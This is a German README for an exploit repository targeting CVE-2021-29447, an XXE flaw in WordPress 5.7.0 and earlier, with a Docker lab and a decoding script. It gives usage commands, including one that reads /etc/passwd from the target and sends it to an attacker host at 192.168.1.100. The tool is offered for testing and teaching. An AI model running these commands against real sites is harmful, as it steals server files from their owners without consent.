
Exploit für CVE-2021-29447, eine XXE-Schwachstelle in WordPress 5.7.0 und früher. Generiert bösartige WAV-Payloads, um beliebige Serverdateien über XML-External-Entity-Injection auszulesen. Enthält Docker-Testumgebung.
Dieses Repository enthält einen Exploit für CVE-2021-29447, eine XXE-Schwachstelle (XML External Entity) in WordPress 5.7.0 und früheren Versionen. Die Schwachstelle besteht in der Medienbibliothek, die WAV-Dateien verarbeitet, und ermöglicht es einem Angreifer, beliebige Dateien vom Server zu lesen.
| Datei | Beschreibung |
|---|---|
CVE-2021-29447.sh | Exploit-Skript, das die WAV-Payload und die bösartige DTD-Datei erzeugt |
decode.php | PHP-Skript zum Dekodieren exfiltrierter Daten (base64 + zlib) |
docker-compose.yml | Docker-Umgebung mit angreifbarem WordPress für Tests |
docker-compose up -d
chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <ziel_datei>
Parameter:
-l IP des Angreifers (LHOST)-p Port des Angreifers (LPORT)-f Pfad der zu lesenden Datei auf dem Server-h Hilfe anzeigenBeispiel:
./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd
Die exfiltrierten Daten sind base64-kodiert und mit zlib komprimiert. Zum Dekodieren:
php decode.php
Der Exploit funktioniert, indem eine externe XXE-Entity in die Metadaten einer WAV-Datei eingefügt wird. Wenn WordPress die Datei verarbeitet, löst der XML-Parser die externe Entity auf, wodurch der Server eine HTTP-Anfrage an den Angreifer-Server sendet, die den Inhalt der Datei kodiert in der URL enthält.
Dieser Code dient ausschließlich zu Bildungszwecken und für autorisierte Penetrationstests. Nicht auf Systemen ohne ausdrückliche Genehmigung verwenden.